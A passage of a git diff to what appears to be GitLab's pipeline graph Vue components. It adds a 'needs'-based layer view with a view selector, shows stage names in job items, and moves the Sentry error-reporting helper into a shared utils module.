+import { DOWNSTREAM, MAIN, UPSTREAM, ONE_COL_WIDTH, STAGE_VIEW } from './constants';
import LinkedPipelinesColumn from './linked_pipelines_column.vue';
import StageColumnComponent from './stage_column_component.vue';
-import { reportToSentry, validateConfigPaths } from './utils';
+import { validateConfigPaths } from './utils';
export default {
name: 'PipelineGraph',
@@ -24,11 +25,20 @@ export default {
type: Object,
required: true,
},
+ viewType: {
+ type: String,
+ required: true,
+ },
isLinkedPipeline: {
type: Boolean,
required: false,
default: false,
},
+ pipelineLayers: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
type: {
type: String,
required: false,
@@ -44,6 +54,7 @@ export default {
data() {
return {
hoveredJobName: '',
+ hoveredSourceJobName: '',
highlightedJobs: [],
measurements: {
width: 0,
@@ -62,8 +73,8 @@ export default {
downstreamPipelines() {
return this.hasDownstreamPipelines ? this.pipeline.downstream : [];
},
- graph() {
- return this.pipeline.stages;
+ layout() {
+ return this.isStageView ? this.pipeline.stages : this.generateColumnsFromLayersList();
},
hasDownstreamPipelines() {
return Boolean(this.pipeline?.downstream?.length > 0);
@@ -71,12 +82,21 @@ export default {
hasUpstreamPipelines() {
return Boolean(this.pipeline?.upstream?.length > 0);
},
+ isStageView() {
+ return this.viewType === STAGE_VIEW;
+ },
metricsConfig() {
return {
path: this.configPaths.metricsPath,
collectMetrics: true,
};
},
+ shouldHideLinks() {
+ return this.isStageView;
+ },
+ shouldShowStageName() {
+ return !this.isStageView;
+ },
// The show downstream check prevents showing redundant linked columns
showDownstreamPipelines() {
return (
@@ -100,6 +120,26 @@ export default {
this.getMeasurements();
},
methods: {
+ generateColumnsFromLayersList() {
+ return this.pipelineLayers.map((layers, idx) => {
+ /*
+ look up the groups in each layer,
+ then add each set of layer groups to a stage-like object
+ */
+
+ const groups = layers.map((id) => {
+ const { stageIdx, groupIdx } = this.pipeline.stagesLookup[id];
+ return this.pipeline.stages?.[stageIdx]?.groups?.[groupIdx];
+ });
+
+ return {
+ name: '',
+ id: `layer-${idx}`,
+ status: { action: null },
+ groups: groups.filter(Boolean),
+ };
+ });
+ },
getMeasurements() {
this.measurements = {
width: this.$refs[this.containerId].scrollWidth,
@@ -112,6 +152,9 @@ export default {
setJob(jobName) {
this.hoveredJobName = jobName;
},
+ setSourceJob(jobName) {
+ this.hoveredSourceJobName = jobName;
+ },
slidePipelineContainer() {
this.$refs.mainPipelineContainer.scrollBy({
left: ONE_COL_WIDTH,
@@ -146,31 +189,35 @@ export default {
:linked-pipelines="upstreamPipelines"
:column-title="__('Upstream')"
:type="$options.pipelineTypeConstants.UPSTREAM"
+ :view-type="viewType"
@error="onError"
/>
</template>
<template #main>
<div :id="containerId" :ref="containerId">
<links-layer
- :pipeline-data="graph"
+ :pipeline-data="layout"
:pipeline-id="pipeline.id"
:container-id="containerId"
:container-measurements="measurements"
:highlighted-job="hoveredJobName"
:metrics-config="metricsConfig"
- :never-show-links="true"
+ :never-show-links="shouldHideLinks"
+ :view-type="viewType"
default-link-color="gl-stroke-transparent"
@error="onError"
@highlightedJobsChange="updateHighlightedJobs"
>
<stage-column-component
- v-for="stage in graph"
- :key="stage.name"
- :title="stage.name"
- :groups="stage.groups"
- :action="stage.status.action"
+ v-for="column in layout"
+ :key="column.id || column.name"
+ :name="column.name"
+ :groups="column.groups"
+ :action="column.status.action"
:highlighted-jobs="highlightedJobs"
+ :show-stage-name="shouldShowStageName"
:job-hovered="hoveredJobName"
+ :source-job-hovered="hoveredSourceJobName"
:pipeline-expanded="pipelineExpanded"
:pipeline-id="pipeline.id"
@refreshPipelineGraph="$emit('refreshPipelineGraph')"
@@ -188,7 +235,8 @@ export default {
:linked-pipelines="downstreamPipelines"
:column-title="__('Downstream')"
:type="$options.pipelineTypeConstants.DOWNSTREAM"
- @downstreamHovered="setJob"
+ :view-type="viewType"
+ @downstreamHovered="setSourceJob"
@pipelineExpandToggle="togglePipelineExpanded"
@scrollContainer="slidePipelineContainer"
@error="onError"
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue b/app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue
index abbf8df6eed..39d0fa8a8ca 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue
@@ -2,10 +2,10 @@
import { GlLoadingIcon } from '@gitlab/ui';
import { escape, capitalize } from 'lodash';
import GraphBundleMixin from '../../mixins/graph_pipeline_bundle_mixin';
+import { reportToSentry } from '../../utils';
import { UPSTREAM, DOWNSTREAM, MAIN } from './constants';
import LinkedPipelinesColumnLegacy from './linked_pipelines_column_legacy.vue';
import StageColumnComponentLegacy from './stage_column_component_legacy.vue';
-import { reportToSentry } from './utils';
export default {
name: 'PipelineGraphLegacy',
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue b/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
index 962f2ca2a4c..0bc6d883245 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
@@ -2,11 +2,16 @@
import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
import getPipelineDetails from 'shared_queries/pipelines/get_pipeline_details.query.graphql';
import { __ } from '~/locale';
+import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { DEFAULT, DRAW_FAILURE, LOAD_FAILURE } from '../../constants';
+import { reportToSentry } from '../../utils';
+import { listByLayers } from '../parsing_utils';
+import { IID_FAILURE, LAYER_VIEW, STAGE_VIEW, VIEW_TYPE_KEY } from './constants';
import PipelineGraph from './graph_component.vue';
+import GraphViewSelector from './graph_view_selector.vue';
import {
getQueryHeaders,
- reportToSentry,
serializeLoadErrors,
toggleQueryPollingByVisibility,
unwrapPipelineData,
@@ -17,8 +22,11 @@ export default {
components: {
GlAlert,
GlLoadingIcon,
+ GraphViewSelector,
+ LocalStorageSync,
PipelineGraph,
},
+ mixins: [glFeatureFlagMixin()],
inject: {
graphqlResourceEtag: {
default: '',
@@ -35,13 +43,18 @@ export default {
},
data() {
return {
- pipeline: null,
alertType: null,
+ currentViewType: STAGE_VIEW,
+ pipeline: null,
+ pipelineLayers: null,
showAlert: false,
};
},
errorTexts: {
[DRAW_FAILURE]: __('An error occurred while drawing job relationship links.'),
+ [IID_FAILURE]: __(
+ 'The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data.',
+ ),
[LOAD_FAILURE]: __('We are currently unable to fetch data for this pipeline.'),
[DEFAULT]: __('An unknown error occurred while loading this graph.'),
},
@@ -58,6 +71,9 @@ export default {
iid: this.pipelineIid,
};
},
+ skip() {
+ return !(this.pipelineProjectPath && this.pipelineIid);
+ },
update(data) {
/*
This check prevents the pipeline from being overwritten
@@ -98,6 +114,11 @@ export default {
text: this.$options.errorTexts[DRAW_FAILURE],
variant: 'danger',
};
+ case IID_FAILURE:
+ return {
+ text: this.$options.errorTexts[IID_FAILURE],
+ variant: 'info',
+ };
case LOAD_FAILURE:
return {
text: this.$options.errorTexts[LOAD_FAILURE],
@@ -123,14 +144,28 @@ export default {
*/
return this.$apollo.queries.pipeline.loading && !this.pipeline;
},
+ showGraphViewSelector() {
+ return Boolean(this.glFeatures.pipelineGraphLayersView && this.pipeline?.usesNeeds);
+ },
},
mounted() {
+ if (!this.pipelineIid) {
+ this.reportFailure({ type: IID_FAILURE, skipSentry: true });
+ }
+
toggleQueryPollingByVisibility(this.$apollo.queries.pipeline);
},
errorCaptured(err, _vm, info) {
reportToSentry(this.$options.name, `error: ${err}, info: ${info}`);
},
methods: {
+ getPipelineLayers() {
+ if (this.currentViewType === LAYER_VIEW && !this.pipelineLayers) {
+ this.pipelineLayers = listByLayers(this.pipeline);
+ }
+
+ return this.pipelineLayers;
+ },
hideAlert() {
this.showAlert = false;
this.alertType = null;
@@ -147,7 +182,11 @@ export default {
}
},
/* eslint-enable @gitlab/require-i18n-strings */
+ updateViewType(type) {
+ this.currentViewType = type;
+ },
},
+ viewTypeKey: VIEW_TYPE_KEY,
};
</script>
<template>
@@ -155,11 +194,24 @@ export default {
<gl-alert v-if="showAlert" :variant="alert.variant" @dismiss="hideAlert">
{{ alert.text }}
</gl-alert>
+ <local-storage-sync
+ :storage-key="$options.viewTypeKey"
+ :value="currentViewType"
+ @input="updateViewType"
+ >
+ <graph-view-selector
+ v-if="showGraphViewSelector"
+ :type="currentViewType"
+ @updateViewType="updateViewType"
+ />
+ </local-storage-sync>
<gl-loading-icon v-if="showLoadingIcon" class="gl-mx-auto gl-my-4" size="lg" />
<pipeline-graph
v-if="pipeline"
:config-paths="configPaths"
:pipeline="pipeline"
+ :pipeline-layers="getPipelineLayers()"
+ :view-type="currentViewType"
@error="reportFailure"
@refreshPipelineGraph="refreshPipelineGraph"
/>
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue b/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue
new file mode 100644
index 00000000000..f33e6290e37
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue
@@ -0,0 +1,85 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlIcon, GlSprintf } from '@gitlab/ui';
+import { __ } from '~/locale';
+import { STAGE_VIEW, LAYER_VIEW } from './constants';
+
+export default {
+ name: 'GraphViewSelector',
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlIcon,
+ GlSprintf,
+ },
+ props: {
+ type: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ currentViewType: STAGE_VIEW,
+ };
+ },
+ i18n: {
+ labelText: __('Order jobs by'),
+ },
+ views: {
+ [STAGE_VIEW]: {
+ type: STAGE_VIEW,
+ text: {
+ primary: __('Stage'),
+ secondary: __('View the jobs grouped into stages'),
+ },
+ },
+ [LAYER_VIEW]: {
+ type: LAYER_VIEW,
+ text: {
+ primary: __('%{codeStart}needs:%{codeEnd} relationships'),
+ secondary: __('View what jobs are needed for a job to run'),
+ },
+ },
+ },
+ computed: {
+ currentDropdownText() {
+ return this.$options.views[this.type].text.primary;
+ },
+ },
+ methods: {
+ itemClick(type) {
+ this.$emit('updateViewType', type);
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-align-items-center gl-my-4">
+ <span>{{ $options.i18n.labelText }}</span>
+ <gl-dropdown data-testid="pipeline-view-selector" class="gl-ml-4">
+ <template #button-content>
+ <gl-sprintf :message="currentDropdownText">
+ <template #code="{ content }">
+ <code> {{ content }} </code>
+ </template>
+ </gl-sprintf>
+ <gl-icon class="gl-px-2" name="angle-down" :size="16" />
+ </template>
+ <gl-dropdown-item
+ v-for="view in $options.views"
+ :key="view.type"
+ :secondary-text="view.text.secondary"
+ @click="itemClick(view.type)"
+ >
+ <b>
+ <gl-sprintf :message="view.text.primary">
+ <template #code="{ content }">
+ <code> {{ content }} </code>
+ </template>
+ </gl-sprintf>
+ </b>
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue b/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
index f6aee8c5fcf..6451605a222 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
@@ -1,8 +1,7 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
-import CiIcon from '~/vue_shared/components/ci_icon.vue';
+import { reportToSentry } from '../../utils';
+import { JOB_DROPDOWN, SINGLE_JOB } from './constants';
import JobItem from './job_item.vue';
-import { reportToSentry } from './utils';
/**
* Renders the dropdown for the pipeline graph.
@@ -11,12 +10,8 @@ import { reportToSentry } from './utils';
*
*/
export default {
- directives: {
- GlTooltip: GlTooltipDirective,
- },
components: {
JobItem,
- CiIcon,
},
props: {
group: {
@@ -28,6 +23,15 @@ export default {
required: false,
default: -1,
},
+ stageName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ jobItemTypes: {
+ jobDropdown: JOB_DROPDOWN,
+ singleJob: SINGLE_JOB,
},
computed: {
computedJobId() {
@@ -51,22 +55,20 @@ export default {
<template>
<div :id="computedJobId" class="ci-job-dropdown-container dropdown dropright">
<button
- v-gl-tooltip.hover="{ boundary: 'viewport' }"
- :title="tooltipText"
type="button"
data-toggle="dropdown"
data-display="static"
- class="dropdown-menu-toggle build-content gl-build-content"
+ class="dropdown-menu-toggle build-content gl-build-content gl-pipeline-job-width! gl-pr-4!"
>
<div class="gl-display-flex gl-align-items-center gl-justify-content-space-between">
- <span class="gl-display-flex gl-align-items-center gl-min-w-0">
- <ci-icon :status="group.status" :size="24" class="gl-line-height-0" />
- <span class="gl-text-truncate mw-70p gl-pl-3">
- {{ group.name }}
- </span>
- </span>
+ <job-item
+ :type="$options.jobItemTypes.jobDropdown"
+ :group-tooltip="tooltipText"
+ :job="group"
+ :stage-name="stageName"
+ />
- <span class="gl-font-weight-100 gl-font-size-lg"> {{ group.size }} </span>
+ <div class="gl-font-weight-100 gl-font-size-lg gl-ml-n4">{{ group.size }}</div>
</div>
</button>
@@ -77,6 +79,7 @@ export default {
<job-item
:dropdown-length="group.size"
:job="job"
+ :type="$options.jobItemTypes.singleJob"
css-class-job-name="mini-pipeline-graph-dropdown-item"
@pipelineActionRequestComplete="pipelineActionRequestComplete"
/>
diff --git a/app/assets/javascripts/pipelines/components/graph/job_item.vue b/app/assets/javascripts/pipelines/components/graph/job_item.vue
index 46ef0457d40..6584d89d87c 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_item.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_item.vue
@@ -3,11 +3,12 @@ import { GlTooltipDirective, GlLink } from '@gitlab/ui';
import delayedJobMixin from '~/jobs/mixins/delayed_job_mixin';
import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
import { sprintf } from '~/locale';
+import CiIcon from '~/vue_shared/components/ci_icon.vue';
+import { reportToSentry } from '../../utils';
+import ActionComponent from '../jobs_shared/action_component.vue';
+import JobNameComponent from '../jobs_shared/job_name_component.vue';
import { accessValue } from './accessors';
-import ActionComponent from './action_component.vue';
-import { REST } from './constants';
-import JobNameComponent from './job_name_component.vue';
-import { reportToSentry } from './utils';
+import { REST, SINGLE_JOB } from './constants';
/**
* Renders the badge for the pipeline graph and the job's dropdown.
@@ -38,6 +39,7 @@ export default {
hoverClass: 'gl-shadow-x0-y0-b3-s1-blue-500',
components: {
ActionComponent,
+ CiIcon,
JobNameComponent,
GlLink,
},
@@ -65,6 +67,11 @@ export default {
required: false,
default: Infinity,
},
+ groupTooltip: {
+ type: String,
+ required: false,
+ default: '',
+ },
jobHovered: {
type: String,
required: false,
@@ -80,24 +87,55 @@ export default {
required: false,
default: -1,
},
+ sourceJobHovered: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ stageName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ type: {
+ type: String,
+ required: false,
+ default: SINGLE_JOB,
+ },
},
computed: {
boundary() {
return this.dropdownLength === 1 ? 'viewport' : 'scrollParent';
},
+ computedJobId() {
+ return this.pipelineId > -1 ? `${this.job.name}-${this.pipelineId}` : '';
+ },
detailsPath() {
return accessValue(this.dataMethod, 'detailsPath', this.status);
},
hasDetails() {
return accessValue(this.dataMethod, 'hasDetails', this.status);
},
- computedJobId() {
- return this.pipelineId > -1 ? `${this.job.name}-${this.pipelineId}` : '';
+ isSingleItem() {
+ return this.type === SINGLE_JOB;
+ },
+ nameComponent() {
+ return this.hasDetails ? 'gl-link' : 'div';
+ },
+ showStageName() {
+ return Boolean(this.stageName);
},
status() {
return this.job && this.job.status ? this.job.status : {};
},
+ testId() {
+ return this.hasDetails ? 'job-with-link' : 'job-without-link';
+ },
tooltipText() {
+ if (this.groupTooltip) {
+ return this.groupTooltip;
+ }
+
const textBuilder = [];
const { name: jobName } = this.job;
@@ -129,7 +167,7 @@ export default {
return this.job.status && this.job.status.action && this.job.status.action.path;
},
relatedDownstreamHovered() {
- return this.job.name === this.jobHovered;
+ return this.job.name === this.sourceJobHovered;
},
relatedDownstreamExpanded() {
return this.job.name === this.pipelineExpanded.jobName && this.pipelineExpanded.expanded;
@@ -147,6 +185,17 @@ export default {
hideTooltips() {
this.$root.$emit(BV_HIDE_TOOLTIP);
},
+ jobItemClick(evt) {
+ if (this.isSingleItem) {
+ /*
+ This is so the jobDropdown still toggles. Issue to refactor:
+ https://gitlab.com/gitlab-org/gitlab/-/issues/267117
+ */
+ evt.stopPropagation();
+ }
+
+ this.hideTooltips();
+ },
pipelineActionRequestComplete() {
this.$emit('pipelineActionRequestComplete');
},
@@ -156,40 +205,45 @@ export default {
<template>
<div
:id="computedJobId"
- class="ci-job-component gl-display-flex gl-align-items-center gl-justify-content-space-between"
+ class="ci-job-component gl-display-flex gl-align-items-center gl-justify-content-space-between gl-w-full"
data-qa-selector="job_item_container"
>
- <gl-link
- v-if="hasDetails"
- v-gl-tooltip="{ boundary, placement: 'bottom', customClass: 'gl-pointer-events-none' }"
- :href="detailsPath"
- :title="tooltipText"
- :class="jobClasses"
- class="js-pipeline-graph-job-link qa-job-link menu-item gl-text-gray-900 gl-active-text-decoration-none gl-focus-text-decoration-none gl-hover-text-decoration-none"
- data-testid="job-with-link"
- @click.stop="hideTooltips"
- @mouseout="hideTooltips"
- >
- <job-name-component :name="job.name" :status="job.status" :icon-size="24" />
- </gl-link>
-
- <div
- v-else
- v-gl-tooltip="{ boundary, placement: 'bottom', customClass: 'gl-pointer-events-none' }"
+ <component
+ :is="nameComponent"
+ v-gl-tooltip="{
+ boundary: 'viewport',
+ placement: 'bottom',
+ customClass: 'gl-pointer-events-none',
+ }"
:title="tooltipText"
:class="jobClasses"
- class="js-job-component-tooltip non-details-job-component menu-item"
- data-testid="job-without-link"
+ :href="detailsPath"
+ class="js-pipeline-graph-job-link qa-job-link menu-item gl-text-gray-900 gl-active-text-decoration-none gl-focus-text-decoration-none gl-hover-text-decoration-none gl-w-full"
+ :data-testid="testId"
+ @click="jobItemClick"
@mouseout="hideTooltips"
>
- <job-name-component :name="job.name" :status="job.status" :icon-size="24" />
- </div>
+ <div class="ci-job-name-component gl-display-flex gl-align-items-center">
+ <ci-icon :size="24" :status="job.status" class="gl-line-height-0" />
+ <div class="gl-pl-3 gl-display-flex gl-flex-direction-column gl-w-full">
+ <div class="gl-text-truncate mw-70p gl-line-height-normal">{{ job.name }}</div>
+ <div
+ v-if="showStageName"
+ data-testid="stage-name-in-job"
+ class="gl-text-truncate mw-70p gl-font-sm gl-text-gray-500 gl-line-height-normal"
+ >
+ {{ stageName }}
+ </div>
+ </div>
+ </div>
+ </component>
<action-component
v-if="hasAction"
:tooltip-text="status.action.title"
:link="status.action.path"
:action-icon="status.action.icon"
+ class="gl-mr-1"
data-qa-selector="action_button"
@pipelineActionRequestComplete="pipelineActionRequestComplete"
/>
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
index add7b3445f7..3f746731e34 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
@@ -3,9 +3,9 @@ import { GlTooltipDirective, GlButton, GlLink, GlLoadingIcon, GlBadge } from '@g
import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
import { __, sprintf } from '~/locale';
import CiStatus from '~/vue_shared/components/ci_icon.vue';
+import { reportToSentry } from '../../utils';
import { accessValue } from './accessors';
import { DOWNSTREAM, REST, UPSTREAM } from './constants';
-import { reportToSentry } from './utils';
export default {
directives: {
@@ -183,6 +183,7 @@ export default {
class="gl-absolute gl-top-0 gl-bottom-0 gl-shadow-none! gl-rounded-0!"
:class="`js-pipeline-expand-${pipeline.id} ${expandButtonPosition}`"
:icon="expandedIcon"
+ :aria-label="__('Expand pipeline')"
data-testid="expand-pipeline-button"
data-qa-selector="expand_pipeline_button"
@click="onClickLinkedPipeline"
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
index b55a77a3c4f..7f772e35e55 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
@@ -1,11 +1,12 @@
<script>
import getPipelineDetails from 'shared_queries/pipelines/get_pipeline_details.query.graphql';
import { LOAD_FAILURE } from '../../constants';
-import { ONE_COL_WIDTH, UPSTREAM } from './constants';
+import { reportToSentry } from '../../utils';
+import { listByLayers } from '../parsing_utils';
+import { ONE_COL_WIDTH, UPSTREAM, LAYER_VIEW } from './constants';
import LinkedPipeline from './linked_pipeline.vue';
import {
getQueryHeaders,
- reportToSentry,
serializeLoadErrors,
toggleQueryPollingByVisibility,
unwrapPipelineData,
@@ -35,11 +36,16 @@ export default {
type: String,
required: true,
},
+ viewType: {
+ type: String,
+ required: true,
+ },
},
data() {
return {
currentPipeline: null,
loadingPipelineId: null,
+ pipelineLayers: {},
pipelineExpanded: false,
};
},
@@ -123,6 +129,13 @@ export default {
toggleQueryPollingByVisibility(this.$apollo.queries.currentPipeline);
},
+ getPipelineLayers(id) {
+ if (this.viewType === LAYER_VIEW && !this.pipelineLayers[id]) {
+ this.pipelineLayers[id] = listByLayers(this.currentPipeline);
+ }
+
+ return this.pipelineLayers[id];
+ },
isExpanded(id) {
return Boolean(this.currentPipeline?.id && id === this.currentPipeline.id);
},
@@ -203,7 +216,9 @@ export default {
class="d-inline-block gl-mt-n2"
:config-paths="configPaths"
:pipeline="currentPipeline"
+ :pipeline-layers="getPipelineLayers(pipeline.id)"
:is-linked-pipeline="true"
+ :view-type="viewType"
/>
</div>
</li>
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue
index 0d1ff94c275..39baeb6e1c3 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue
@@ -1,7 +1,7 @@
<script>
+import { reportToSentry } from '../../utils';
import { UPSTREAM } from './constants';
import LinkedPipeline from './linked_pipeline.vue';
-import { reportToSentry } from './utils';
export default {
components: {
diff --git a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
index 0a762563114..fa2f381c8a4 100644
--- a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
@@ -1,12 +1,13 @@
<script>
import { capitalize, escape, isEmpty } from 'lodash';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import { reportToSentry } from '../../utils';
import MainGraphWrapper from '../graph_shared/main_graph_wrapper.vue';
+import ActionComponent from '../jobs_shared/action_component.vue';
import { accessValue } from './accessors';
-import ActionComponent from './action_component.vue';
import { GRAPHQL } from './constants';
import JobGroupDropdown from './job_group_dropdown.vue';
import JobItem from './job_item.vue';
-import { reportToSentry } from './utils';
export default {
components: {
@@ -15,17 +16,18 @@ export default {
JobItem,
MainGraphWrapper,
},
+ mixins: [glFeatureFlagMixin()],
props: {
groups: {
type: Array,
required: true,
},
- pipelineId: {
- type: Number,
+ name: {
+ type: String,
required: true,
},
- title: {
- type: String,
+ pipelineId: {
+ type: Number,
required: true,
},
action: {
@@ -48,6 +50,16 @@ export default {
required: false,
default: () => ({}),
},
+ showStageName: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ sourceJobHovered: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
titleClasses: [
'gl-font-weight-bold',
@@ -57,8 +69,23 @@ export default {
'gl-pl-3',
],
computed: {
+ /*
+ currentGroups and filteredGroups are part of
+ a test to hunt down a bug
+ (see: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57142).
+
+ They should be removed when the bug is rectified.
+ */
+ currentGroups() {
+ return this.glFeatures.pipelineFilterJobs ? this.filteredGroups : this.groups;
+ },
+ filteredGroups() {
+ return this.groups.map((group) => {
+ return { ...group, jobs: group.jobs.filter(Boolean) };
+ });
+ },
formattedTitle() {
- return capitalize(escape(this.title));
+ return capitalize(escape(this.name));
},
hasAction() {
return !isEmpty(this.action);
@@ -80,6 +107,18 @@ export default {
isFadedOut(jobName) {
return this.highlightedJobs.length > 1 && !this.highlightedJobs.includes(jobName);
},
+ isParallel(group) {
+ return group.size > 1 && group.jobs.length > 1;
+ },
+ singleJobExists(group) {
+ const firstJobDefined = Boolean(group.jobs?.[0]);
+
+ if (!firstJobDefined) {
+ reportToSentry('stage_column_component', 'undefined_job_hunt');
+ }
+
+ return group.size === 1 && firstJobDefined;
+ },
},
};
</script>
@@ -104,7 +143,7 @@ export default {
</template>
<template #jobs>
<div
- v-for="group in groups"
+ v-for="group in currentGroups"
:id="groupId(group)"
:key="getGroupId(group)"
data-testid="stage-column-group"
@@ -113,17 +152,23 @@ export default {
@mouseleave="$emit('jobHover', '')"
>
<job-item
- v-if="group.size === 1"
+ v-if="singleJobExists(group)"
:job="group.jobs[0]"
:job-hovered="jobHovered"
+ :source-job-hovered="sourceJobHovered"
:pipeline-expanded="pipelineExpanded"
:pipeline-id="pipelineId"
+ :stage-name="showStageName ? group.stageName : ''"
css-class-job-name="gl-build-content"
:class="{ 'gl-opacity-3': isFadedOut(group.name) }"
@pipelineActionRequestComplete="$emit('refreshPipelineGraph')"
/>
- <div v-else :class="{ 'gl-opacity-3': isFadedOut(group.name) }">
- <job-group-dropdown :group="group" :pipeline-id="pipelineId" />
+ <div v-else-if="isParallel(group)" :class="{ 'gl-opacity-3': isFadedOut(group.name) }">
+ <job-group-dropdown
+ :group="group"
+ :stage-name="showStageName ? group.stageName : ''"
+ :pipeline-id="pipelineId"
+ />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue b/app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue
index 2cee2fbbd8f..cbaf07c05cf 100644
--- a/app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue
+++ b/app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue
@@ -1,10 +1,10 @@
<script>
import { isEmpty, escape } from 'lodash';
import stageColumnMixin from '../../mixins/stage_column_mixin';
-import ActionComponent from './action_component.vue';
+import { reportToSentry } from '../../utils';
+import ActionComponent from '../jobs_shared/action_component.vue';
import JobGroupDropdown from './job_group_dropdown.vue';
import JobItem from './job_item.vue';
-import { reportToSentry } from './utils';
export default {
components: {
diff --git a/app/assets/javascripts/pipelines/components/graph/utils.js b/app/assets/javascripts/pipelines/components/graph/utils.js
index b9a8e2638bc..373aa6bf9a1 100644
--- a/app/assets/javascripts/pipelines/components/graph/utils.js
+++ b/app/assets/javascripts/pipelines/components/graph/utils.js
@@ -1,7 +1,6 @@
-import * as Sentry from '@sentry/browser';
import Visibility from 'visibilityjs';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { unwrapStagesWithNeeds } from '../unwrapping_utils';
+import { unwrapStagesWithNeedsAndLookup } from '../unwrapping_utils';
const addMulti = (mainPipelineProjectPath, linkedPipeline) => {
return {
@@ -24,13 +23,6 @@ const getQueryHeaders = (etagResource) => {
};
};
-const reportToSentry = (component, failureType) => {
- Sentry.withScope((scope) => {
- scope.setTag('component', component);
- Sentry.captureException(failureType);
- });
-};
-
const serializeGqlErr = (gqlError) => {
const { locations = [], message = '', path = [] } = gqlError;
@@ -94,12 +86,13 @@ const unwrapPipelineData = (mainPipelineProjectPath, data) => {
stages: { nodes: stages },
} = pipeline;
- const nodes = unwrapStagesWithNeeds(stages);
+ const { stages: updatedStages, lookup } = unwrapStagesWithNeedsAndLookup(stages);
return {
...pipeline,
id: getIdFromGraphQLId(pipeline.id),
- stages: nodes,
+ stages: updatedStages,
+ stagesLookup: lookup,
upstream: upstream
? [upstream].map(addMulti.bind(null, mainPipelineProjectPath)).map(transformId)
: [],
@@ -113,7 +106,6 @@ const validateConfigPaths = (value) => value.graphqlResourceEtag?.length > 0;
export {
getQueryHeaders,
- reportToSentry,
serializeGqlErr,
serializeLoadErrors,
toggleQueryPollingByVisibility,
diff --git a/app/assets/javascripts/pipelines/components/graph_shared/api.js b/app/assets/javascripts/pipelines/components/graph_shared/api.js
index 04ac15ae24c..49cd04d11e9 100644
--- a/app/assets/javascripts/pipelines/components/graph_shared/api.js
+++ b/app/assets/javascripts/pipelines/components/graph_shared/api.js
@@ -1,5 +1,5 @@
import axios from '~/lib/utils/axios_utils';
-import { reportToSentry } from '../graph/utils';
+import { reportToSentry } from '../../utils';
export const reportPerformance = (path, stats) => {
axios.post(path, stats).catch((err) => {
diff --git a/app/assets/javascripts/pipelines/components/graph_shared/links_inner.vue b/app/assets/javascripts/pipelines/components/graph_shared/links_inner.vue
index fad57084992..0ed5b8a5f09 100644
--- a/app/assets/javascripts/pipelines/components/graph_shared/links_inner.vue
+++ b/app/assets/javascripts/pipelines/components/graph_shared/links_inner.vue
@@ -10,8 +10,8 @@ import {
} from '~/performance/constants';
import { performanceMarkAndMeasure } from '~/performance/utils';
import { DRAW_FAILURE } from '../../constants';
-import { createJobsHash, generateJobNeedsDict } from '../../utils';
-import { reportToSentry } from '../graph/utils';
+import { createJobsHash, generateJobNeedsDict, reportToSentry } from '../../utils';
+import { STAGE_VIEW } from '../graph/constants';
